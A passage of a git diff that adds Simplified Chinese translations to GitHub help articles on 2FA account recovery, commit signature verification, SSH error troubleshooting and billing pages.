+9.  确认您已下载并且能够访问恢复代码。 如果尚未下载，或者要生成另一组代码，请下载代码并将其保存在安全位置。 如果无法访问自己的帐户，您可以使用恢复代码来恢复帐户访问。 更多信息请参阅“[丢失 2FA 凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)”。 ![下载恢复代码按钮](/assets/images/help/2fa/2fa-recover-during-setup.png)
 {% data reusables.two_fa.test_2fa_immediately %}
 
-## Further reading
+## 延伸阅读
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
-- "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)"
+- "[关于双重身份验证](/articles/about-two-factor-authentication)"
+- "[配置双重身份验证恢复方法](/articles/configuring-two-factor-authentication-recovery-methods)"
+- “[使用双重身份验证访问 {% data variables.product.prodname_dotcom %}](/articles/accessing-github-using-two-factor-authentication)”。
+- “[丢失 2FA 凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)”
+- “[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。
diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
index 84d2bd82bf..cf48e124cb 100644
--- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
+++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
@@ -1,5 +1,5 @@
 ---
-title: Securing your account with two-factor authentication (2FA)
+title: 使用双重身份验证 (2FA) 保护您的帐户
 intro: 'You can set up your account on {% data variables.product.product_location %} to require an authentication code in addition to your password when you sign in.'
 redirect_from:
   - /categories/84/articles
@@ -21,6 +21,6 @@ children:
   - /changing-two-factor-authentication-delivery-methods-for-your-mobile-device
   - /countries-where-sms-authentication-is-supported
   - /disabling-two-factor-authentication-for-your-personal-account
-shortTitle: Secure your account with 2FA
+shortTitle: 使用 2FA 保护您的帐户
 ---
 
diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
index b734154e2b..78721b16ce 100644
--- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
+++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
@@ -1,6 +1,6 @@
 ---
-title: Recovering your account if you lose your 2FA credentials
-intro: 'If you lose access to your two-factor authentication credentials, you can use your recovery codes, or another recovery option, to regain access to your account.'
+title: 丢失 2FA 凭据时恢复帐户
+intro: 如果无法访问双重身份验证凭据，您可以使用恢复代码或其他恢复选项重新获取对帐户的访问权限。
 redirect_from:
   - /articles/recovering-your-account-if-you-lost-your-2fa-credentials
   - /articles/authenticating-with-an-account-recovery-token
@@ -13,75 +13,68 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Recover an account with 2FA
+shortTitle: 使用 2FA 找回帐户
 ---
+
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning**: {% data reusables.two_fa.support-may-not-help %}
+**警告**：{% data reusables.two_fa.support-may-not-help %}
 
 {% endwarning %}
 
 {% endif %}
 
-## Using a two-factor authentication recovery code
+## 使用双因素身份验证恢复代码
 
-Use one of your recovery codes to automatically regain entry into your account. You may have saved your recovery codes to a password manager or your computer's downloads folder. The default filename for recovery codes is `github-recovery-codes.txt`. For more information about recovery codes, see "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)."
+使用您的恢复代码之一自动重新进入您的帐户。 您可能已将恢复代码保存到密码管理器或计算机的下载文件夹中。 恢复代码的默认文件名为 `github-recovery-codes.txt`。 有关恢复代码的更多信息，请参阅“[配置双因素身份验证恢复方法](/articles/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)”。
 
 {% data reusables.two_fa.username-password %}{% ifversion fpt or ghec %}
-2. Under "Having Problems?", click **Enter a two-factor recovery code**.
-  ![Link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png){% else %}
-2. On the 2FA page, under "Don't have your phone?", click **Enter a two-factor recovery code**.
-  ![Link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %}
-3. Type one of your recovery codes, then click **Verify**.
-  ![Field to type a recovery code and Verify button](/assets/images/help/2fa/2fa-type-verify-recovery-code.png)
+2. 在“Having Problems?（有问题？）”下，单击 **Enter a two-factor recovery code（输入双重恢复代码）**。 ![Link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png){% else %}
+2. 在 2FA 页面上的“Don't have your phone?（没有您的电话？）”下，单击 **Enter a two-factor recovery code（输入双因素恢复代码）**。 ![Link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %}
+3. 输入恢复代码之一，然后单击 **Verify（验证）**。 ![输入恢复代码的字段和验证按钮](/assets/images/help/2fa/2fa-type-verify-recovery-code.png)
 
 {% ifversion fpt or ghec %}
-## Authenticating with a fallback number
+## 使用后备号码进行身份验证
 
-If you lose access to your primary TOTP app or phone number, you can provide a two-factor authentication code sent to your fallback number to automatically regain access to your account.
+如果无法访问主要 TOTP 应用程序或电话号码，则可以提供发送到后备号码的双因素身份验证码，以自动重新获得对帐户的访问权限。
 {% endif %}
 
-## Authenticating with a security key
+## 使用安全密钥进行身份验证
 
-If you configured two-factor authentication using a security key, you can use your security key as a secondary authentication method to automatically regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+如果您使用安全密钥配置双重身份验证，则可以使用安全密钥作为辅助身份验证方法来自动重新获得对帐户的访问权限。 更多信息请参阅“[配置双重身份验证](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)”。
 
 {% ifversion fpt or ghec %}
-## Authenticating with a verified device, SSH token, or personal access token
+## 使用经过验证的设备、SSH 令牌或个人访问令牌进行身份验证
 
-If you know your {% data variables.product.product_name %} password but don't have the two-factor authentication credentials or your two-factor authentication recovery codes, you can have a one-time password sent to your verified email address to begin the verification process and regain access to your account.
+如果您知道 {% data variables.product.product_name %} 密码但无法访问双重身份验证凭据，或没有双重身份验证恢复代码，则可以将一次性密码发送到经验证的电子邮件地址，以开始验证过程，重新获得对帐户的访问权限。
 
 {% note %}
 
-**Note**: For security reasons, regaining access to your account by authenticating with a one-time password can take 3-5 business days. Additional requests submitted during this time will not be reviewed.
+**注**：出于安全原因，使用一次性密码验证来重新获得帐户访问权限可能需要 3-5 个工作日。 在此期间提交的其他请求将不予审查。
 
 {% endnote %}
 
-You can use your two-factor authentication credentials or two-factor authentication recovery codes to regain access to your account anytime during the 3-5 day waiting period.
+在这 3-5 天的等待期内，您随时可以使用双重身份验证凭据或双重身份验证恢复代码重新获得对帐户的访问权限。
 
-1. Type your username and password to prompt authentication. If you do not know your {% data variables.product.product_name %} password, you will not be able to generate a one-time password.
-2. Under "Having Problems?", click **Can't access your two factor device or valid recovery codes?**
-  ![Link if you don't have your 2fa device or recovery codes](/assets/images/help/2fa/no-access-link.png)
-3. Click **I understand, get started** to request a reset of your authentication settings.
-  ![Reset authentication settings button](/assets/images/help/2fa/reset-auth-settings.png)
-4. Click **Send one-time password** to send a one-time password to all email addresses associated with your account.
-  ![Send one-time password button](/assets/images/help/2fa/send-one-time-password.png)
-5. Under "One-time password", type the temporary password from the recovery email {% data variables.product.prodname_dotcom %} sent.
-  ![One-time password field](/assets/images/help/2fa/one-time-password-field.png)
-6. Click **Verify email address**.
-7. Choose an alternative verification factor.
-    - If you've used your current device to log into this account before and would like to use the device for verification, click **Verify with this device**.
-    - If you've previously set up an SSH key on this account and would like to use the SSH key for verification, click **SSH key**.
-    - If you've previously set up a personal access token and would like to use the personal access token for verification, click **Personal access token**.
-  ![Alternative verification buttons](/assets/images/help/2fa/alt-verifications.png)
-8. A member of {% data variables.contact.github_support %} will review your request and email you within 3-5 business days. If your request is approved, you'll receive a link to complete your account recovery process. If your request is denied, the email will include a way to contact support with any additional questions.
+1. 输入您的用户名和密码以提示身份验证。 如果您不知道 {% data variables.product.product_name %} 密码，将无法生成一次性密码。
+2. 在“Having Problems?（有问题？）”下，单击 **Can't access your two factor device or valid recovery codes?（无法访问双重设备或有效的恢复代码？）**。 ![没有 2fa 设备或恢复码时的链接](/assets/images/help/2fa/no-access-link.png)
+3. 单击 **I understand, get started（我理解，开始）**请求重置身份验证设置。 ![重置身份验证设置按钮](/assets/images/help/2fa/reset-auth-settings.png)
+4. 单击 **Send one-time password（发送一次性密码）**向与您的帐户关联的所有电子邮件地址发送一次性密码。 ![发送一次性密码按钮](/assets/images/help/2fa/send-one-time-password.png)
+5. Under "One-time password", type the temporary password from the recovery email {% data variables.product.prodname_dotcom %} sent. ![一次性密码字段](/assets/images/help/2fa/one-time-password-field.png)
+6. 单击 **Verify email address（验证电子邮件地址）**。
+7. 选择替代验证因素。
+    - 如果您之前已经使用当前设备登录此帐户，并且想使用该设备进行验证，请单击 **Verify with this device（使用此设备进行验证）**。
+    - 如果您之前已在此帐户上设置 SSH 密钥，并且想使用此 SSH 密钥进行验证，请单击 **SSH key（SSH 密钥）**。
+    - 如果您之前已经设置个人访问令牌，并且想使用个人访问令牌进行验证，请单击 **Personal access token（个人访问令牌）**。 ![替代验证按钮](/assets/images/help/2fa/alt-verifications.png)
+8. {% data variables.contact.github_support %} 的成员将在 3-5 个工作日内审查您的请求并给您发送电子邮件。 如果您的请求获得批准，您将收到一个完成帐户恢复过程的链接。 如果您的请求被拒绝，电子邮件将说明就任何其他问题联系支持的方式。
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
+- "[关于双重身份验证](/articles/about-two-factor-authentication)"
+- "[配置双重身份验证](/articles/configuring-two-factor-authentication)"
+- "[配置双重身份验证恢复方法](/articles/configuring-two-factor-authentication-recovery-methods)"
+- “[使用双重身份验证访问 {% data variables.product.prodname_dotcom %}](/articles/accessing-github-using-two-factor-authentication)”。
diff --git a/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md b/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
index 38e0b87865..8a1141c9fe 100644
--- a/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
+++ b/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
@@ -1,6 +1,6 @@
 ---
-title: Checking your commit and tag signature verification status
-intro: 'You can check the verification status of your commit and tag signatures on {% data variables.product.product_name %}.'
+title: 检查提交和标记签名验证状态
+intro: '您可以在 {% data variables.product.product_name %} 上检查提交和标记签名的验证状态。'
 redirect_from:
   - /articles/checking-your-gpg-commit-and-tag-signature-verification-status
   - /articles/checking-your-commit-and-tag-signature-verification-status
@@ -14,30 +14,26 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Check verification status
+shortTitle: 检查验证状态
 ---
-## Checking your commit signature verification status
 
-1. On {% data variables.product.product_name %}, navigate to your pull request.
+## 检查提交签名验证状态
+
+1. 在 {% data variables.product.product_name %} 上，导航到您的拉取请求。
 {% data reusables.repositories.review-pr-commits %}
-3. Next to your commit's abbreviated commit hash, there is a box that shows whether your commit signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified.
-![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
-4. To view more detailed information about the commit signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**.
-![Verified signed commit](/assets/images/help/commits/gpg-signed-commit_verified_details.png)
+3. 在提交的缩写提交哈希旁边，有一个框，显示您的提交签名已验证{% ifversion fpt or ghec %}、部分验证{% endif %}或未验证。 ![已签名提交](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
+4. 要查看有关提交签名的更详细信息，请单击 **Verified（已验证）**{% ifversion fpt or ghec %}、**Partially verified（部分验证）**{% endif %}或 **Unverified（未验证）**。 ![经验证签名提交](/assets/images/help/commits/gpg-signed-commit_verified_details.png)
 
-## Checking your tag signature verification status
+## 检查标记签名验证状态
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Tags**.
-![Tags page](/assets/images/help/releases/tags-list.png)
-3. Next to your tag description, there is a box that shows whether your tag signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified.
-![verified tag signature](/assets/images/help/commits/gpg-signed-tag-verified.png)
-4. To view more detailed information about the tag signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**. 
-![Verified signed tag](/assets/images/help/commits/gpg-signed-tag-verified-details.png)
+2. 在 Releases（版本）页面的顶部，单击 **Tags（标记）**。 ![标记页面](/assets/images/help/releases/tags-list.png)
+3. 在提交的标记说明旁边，有一个框，显示您的标记签名已验证{% ifversion fpt or ghec %}、部分验证{% endif %}或未验证。 ![已验证标记签名](/assets/images/help/commits/gpg-signed-tag-verified.png)
+4. 要查看有关标记签名的更详细信息，请单击 **Verified（已验证）**{% ifversion fpt or ghec %}、**Partially verified（部分验证）**{% endif %}或 **Unverified（未验证）**。 ![经验证签名标记](/assets/images/help/commits/gpg-signed-tag-verified-details.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About commit signature verification](/articles/about-commit-signature-verification)"
-- "[Signing commits](/articles/signing-commits)"
-- "[Signing tags](/articles/signing-tags)"
+- “[关于提交签名验证](/articles/about-commit-signature-verification)”
+- "[对提交签名](/articles/signing-commits)"
+- "[对标记签名](/articles/signing-tags)"
diff --git a/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/index.md b/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/index.md
index 46abaa90df..ef34e25502 100644
--- a/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/index.md
+++ b/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/index.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting commit signature verification
-intro: 'You may need to troubleshoot unexpected issues that arise when signing commits locally for verification on {% data variables.product.product_name %}.'
+title: 对提交签名验证进行故障排除
+intro: '您可能需要对在本地签名提交以在 {% data variables.product.product_name %} 上进行验证时引起的意外问题进行故障排除。'
 redirect_from:
   - /articles/troubleshooting-gpg
   - /articles/troubleshooting-commit-signature-verification
@@ -17,6 +17,6 @@ children:
   - /checking-your-commit-and-tag-signature-verification-status
   - /updating-an-expired-gpg-key
   - /using-a-verified-email-address-in-your-gpg-key
-shortTitle: Troubleshoot verification
+shortTitle: 验证疑难解答
 ---
 
diff --git a/translations/zh-CN/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md b/translations/zh-CN/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
index 1f852e1bcf..85b20d8844 100644
--- a/translations/zh-CN/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
+++ b/translations/zh-CN/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
@@ -1,6 +1,6 @@
 ---
-title: 'Error: Agent admitted failure to sign'
-intro: 'In rare circumstances, connecting to {% data variables.product.product_name %} via SSH on Linux produces the error `"Agent admitted failure to sign using the key"`. Follow these steps to resolve the problem.'
+title: 错误：代理承认没有签署
+intro: '在极少数情况下，在 Linux 上通过 SSH 连接 {% data variables.product.product_name %} 会产生错误“Agent admitted failure to sign using the key”（代理承认没有使用密钥签署）。 请遵循以下步骤解决此问题。'
 redirect_from:
   - /articles/error-agent-admitted-failure-to-sign-using-the-key
   - /articles/error-agent-admitted-failure-to-sign
@@ -13,9 +13,10 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: Agent failure to sign
+shortTitle: 代理签名失败
 ---
-When trying to SSH into {% data variables.product.product_location %} on a Linux computer, you may see the following message in your terminal:
+
+在 Linux 上尝试将通过 SSH 连接到 {% data variables.product.product_location %} 时，可能在终端上看到以下信息：
 
 ```shell
 $ ssh -vT git@{% data variables.command_line.codeblock %}
@@ -25,11 +26,11 @@ $ ssh -vT git@{% data variables.command_line.codeblock %}
 > Permission denied (publickey).
 ```
 
-For more details, see <a href="https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786" data-proofer-ignore>this issue report</a>.
+更多详细信息请参阅<a href="https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786" data-proofer-ignore>本问题报告</a>。
 
-## Resolution
+## 解决方法
 
-You should be able to fix this error by loading your keys into your SSH agent with `ssh-add`:
+通过使用 `ssh-add` 将密钥加载到 SSH 代理，应该能够修复此错误：
 
 ```shell
 # start the ssh-agent in the background
@@ -40,7 +41,7 @@ $ ssh-add
 > Identity added: /home/<em>you</em>/.ssh/id_rsa (/home/<em>you</em>/.ssh/id_rsa)
 ```
 
-If your key does not have the default filename (`/.ssh/id_rsa`), you'll have to pass that path to `ssh-add`:
+如果密钥没有默认文件名 (`/.ssh/id_rsa`)，必须将该路径传递到 `ssh-add`：
 
 ```shell
 # start the ssh-agent in the background
diff --git a/translations/zh-CN/content/authentication/troubleshooting-ssh/error-unknown-key-type.md b/translations/zh-CN/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
index 9041475e84..ae1f488965 100644
--- a/translations/zh-CN/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
+++ b/translations/zh-CN/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
@@ -1,6 +1,6 @@
 ---
-title: 'Error: Unknown key type'
-intro: 'This error means that the SSH key type you used was unrecognized or is unsupported by your SSH client. '
+title: 错误：未知密钥类型
+intro: 此错误表示您使用的 SSH 密钥类型无法识别或不受 SSH 客户端支持。
 versions:
   fpt: '*'
   ghes: '>=3.2'
@@ -12,27 +12,28 @@ redirect_from:
   - /github/authenticating-to-github/error-unknown-key-type
   - /github/authenticating-to-github/troubleshooting-ssh/error-unknown-key-type
 ---
-## About the `unknown key type` error
 
-When you generate a new SSH key, you may receive an `unknown key type` error if your SSH client does not support the key type that you specify.{% mac %}To solve this issue on macOS, you can update your SSH client or install a new SSH client.
+## 关于 `unknown key type` 错误
 
-## Prerequisites
+生成新的 SSH 密钥时，如果您的 SSH 客户端不支持您指定的密钥类型，您可能会收到 `unknown key type` 错误。{% mac %}要在 macOS 上解决此问题，您可以更新 SSH 客户端或安装新的 SSH 客户端。
 
-You must have Homebrew installed. For more information, see the [installation guide](https://docs.brew.sh/Installation) in the Homebrew documentation.
+## 基本要求
 
-## Solving the issue
+您必须安装 Homebrew。 更多信息请参阅 Homebrew 文档中的[安装指南](https://docs.brew.sh/Installation)。
+
+## 解决问题
 
 {% warning %}
 
-**Warning:** If you install OpenSSH, your computer will not be able to retrieve passphrases that are stored in the Apple keychain. You will need to enter your passphrase or interact with your hardware security key every time you authenticate with SSH to {% data variables.product.prodname_dotcom %} or another web service.
+**警告：** 如果您安装 OpenSSH，您的计算机将无法检索存储在 Apple 密钥链中的密码。 每次使用 SSH 向 {% data variables.product.prodname_dotcom %} 或其他 Web 服务验证时，您都需要输入密码或与硬件安全密钥进行交互。
 
-If you remove OpenSSH, the passphrases that are stored in your keychain will once again be retrievable. You can remove OpenSSH by entering the command `brew uninstall openssh` in Terminal.
+如果删除 OpenSSH，则存储在密钥链中的密码将再次可检索。 通过在终端输入命令 `brew uninstall openssh` 可删除 OpenSSH。
 
 {% endwarning %}
 
-1. Open Terminal.
-2. Enter the command `brew install openssh`.
-3. Quit and relaunch Terminal.
-4. Try the procedure for generating a new SSH key again. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)."
+1. 打开终端。
+2. 输入命令 `brew install openssh`。
+3. 退出并重新启动终端。
+4. 再次尝试生成新 SSH 密钥的过程。 更多信息请参阅“[生成新的 SSH 密钥并添加到 ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)”。
 
-{% endmac %}{% linux %}To solve this issue on Linux, use the package manager for your Linux distribution to install a new version of OpenSSH, or compile a new version from source. If you install a different version of OpenSSH, the ability of other applications to authenticate via SSH may be affected. For more information, review the documentation for your distribution.{% endlinux %}
+{% endmac %}{% linux %}要在 Linux 上解决此问题，请使用 Linux 发行版的包管理器来安装 OpenSSH 的新版本，或从源代码编译新版本。 如果您安装不同版本的 OpenSSH，则其他应用程序通过 SSH 进行身份验证的能力可能会受到影响。 有关更多信息，请查看发行版的文档。{% endlinux %}
diff --git a/translations/zh-CN/content/authentication/troubleshooting-ssh/index.md b/translations/zh-CN/content/authentication/troubleshooting-ssh/index.md
index b7b79529d9..f1d7cf96b2 100644
--- a/translations/zh-CN/content/authentication/troubleshooting-ssh/index.md
+++ b/translations/zh-CN/content/authentication/troubleshooting-ssh/index.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting SSH
-intro: 'When using SSH to connect and authenticate to {% data variables.product.product_name %}, you may need to troubleshoot unexpected issues that may arise.'
+title: SSH 故障排除
+intro: '使用 SSH 连接到 {% data variables.product.product_name %} 并进行身份验证时，您可能需要对可能引起的意外问题进行故障排除。'
 redirect_from:
   - /articles/troubleshooting-ssh
   - /github/authenticating-to-github/troubleshooting-ssh
diff --git a/translations/zh-CN/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md b/translations/zh-CN/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
index e8e60da730..a12eb14944 100644
--- a/translations/zh-CN/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
+++ b/translations/zh-CN/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
@@ -1,6 +1,6 @@
 ---
-title: Recovering your SSH key passphrase
-intro: 'If you''ve lost your SSH key passphrase, depending on the operating system you use, you may either recover it or you may need to generate a new SSH key passphrase.'
+title: 恢复 SSH 密钥密码
+intro: 如果您丢失 SSH 密钥密码，则根据您使用的操作系统，您可能可以恢复它，也可能需要生成新的 SSH 密钥密码。
 redirect_from:
   - /articles/how-do-i-recover-my-passphrase
   - /articles/how-do-i-recover-my-ssh-key-passphrase
@@ -14,31 +14,30 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: Recover SSH key passphrase
+shortTitle: 找回 SSH 密钥密码
 ---
+
 {% mac %}
 
-If you [configured your SSH passphrase with the macOS keychain](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain), you may be able to recover it.
+如果您[使用 macOS 密钥链配置 SSH 密码](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain)，则能够恢复它。
 
-1. In Finder, search for the **Keychain Access** app.
-   ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png)
-2. In Keychain Access, search for **SSH**.
-3. Double click on the entry for your SSH key to open a new dialog box.
-4. In the lower-left corner, select **Show password**.
-   ![Keychain access dialog](/assets/images/help/setup/keychain_show_password_dialog.png)
-5. You'll be prompted for your administrative password. Type it into the "Keychain Access" dialog box.
-6. Your password will be revealed.
+1. 在 Finder 中，搜索 **Keychain Access** 应用程序。 ![Spotlight 搜索栏](/assets/images/help/setup/keychain-access.png)
+2. 在 Keychain Access 中，搜索 **SSH**。
+3. 双击 SSH 密钥的条目以打开一个新对话框。
+4. 在左上角选择 **Show password（显示密码）**。 ![Keychain Access 对话框](/assets/images/help/setup/keychain_show_password_dialog.png)
+5. 系统将提示您输入管理密码。 在 "Keychain Access" 对话框中输入该密码。
+6. 此时将显示您的密码。
 
 {% endmac %}
 
 {% windows %}
 
-If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/managing-remote-repositories) so you can use your GitHub password instead.
+如果您丢失 SSH 密钥密码，则无法进行恢复。 您需要[生成全新的 SSH 密钥对](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)或[切换到 HTTPS 克隆](/github/getting-started-with-github/managing-remote-repositories)，以便能够使用 GitHub 密码代替。
 
 {% endwindows %}
 
 {% linux %}
 
-If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls) so you can use your GitHub password instead.
+如果您丢失 SSH 密钥密码，则无法进行恢复。 您需要[生成全新的 SSH 密钥对](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)或[切换到 HTTPS 克隆](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls)，以便能够使用 GitHub 密码代替。
 
 {% endlinux %}
diff --git a/translations/zh-CN/content/billing/index.md b/translations/zh-CN/content/billing/index.md
index 067b356ef5..a9553b7ec0 100644
--- a/translations/zh-CN/content/billing/index.md
+++ b/translations/zh-CN/content/billing/index.md
@@ -1,6 +1,6 @@
 ---
-title: Billing and payments on GitHub
-shortTitle: Billing and payments
+title: GitHub 上的帐单和付款
+shortTitle: 计费和付款
 intro: '{% ifversion fpt %}{% data variables.product.product_name %} offers free and paid products for every account. You can upgrade or downgrade your account''s subscription and manage your billing settings at any time.{% elsif ghec or ghes or ghae %}{% data variables.product.company_short %} bills for your enterprise members'' {% ifversion ghec or ghae %}usage of {% data variables.product.product_name %}{% elsif ghes %} licence seats for {% data variables.product.product_name %}{% ifversion ghes > 3.0 %} and any additional services that you purchase{% endif %}{% endif %}. {% endif %}{% ifversion ghec %} You can view your subscription and manage your billing settings at any time. {% endif %}{% ifversion fpt or ghec %} You can also view usage and manage spending limits for {% data variables.product.product_name %} features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_codespaces %}.{% endif %}'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github
@@ -18,7 +18,7 @@ featuredLinks:
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise{% endif %}'
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise{% endif %}'
     - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
-  popular: 
+  popular:
     - '{% ifversion ghec %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account{% endif %}'
     - '{% ifversion fpt or ghec %}/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription{% endif %}'
     - '{% ifversion fpt or ghec %}/billing/managing-billing-for-github-actions/about-billing-for-github-actions{% endif %}'
@@ -27,8 +27,7 @@ featuredLinks:
     - '{% ifversion ghes %}/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage{% endif %}'
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server{% endif %}'
     - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
-  guideCards:  
-    - /billing/managing-your-github-billing-settings/removing-a-payment-method
+  guideCards:
     - /billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process
     - /billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise{% endif %}'
@@ -54,4 +53,5 @@ children:
   - /managing-billing-for-github-marketplace-apps
   - /managing-billing-for-git-large-file-storage
   - /setting-up-paid-organizations-for-procurement-companies
----
\ No newline at end of file
+---
+
diff --git a/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md b/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
index 3fd9e67aef..3f169c1f7d 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Downgrading Git Large File Storage
-intro: 'You can downgrade storage and bandwidth for {% data variables.large_files.product_name_short %} by increments of 50 GB per month.'
+title: 降级 Git Large File Storage
+intro: '您可以按照每月 50 GB 的增量，降级 {% data variables.large_files.product_name_short %} 的存储和带宽。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-git-large-file-storage
   - /articles/downgrading-storage-and-bandwidth-for-a-personal-account
@@ -16,18 +16,19 @@ topics:
   - LFS
   - Organizations
   - User account
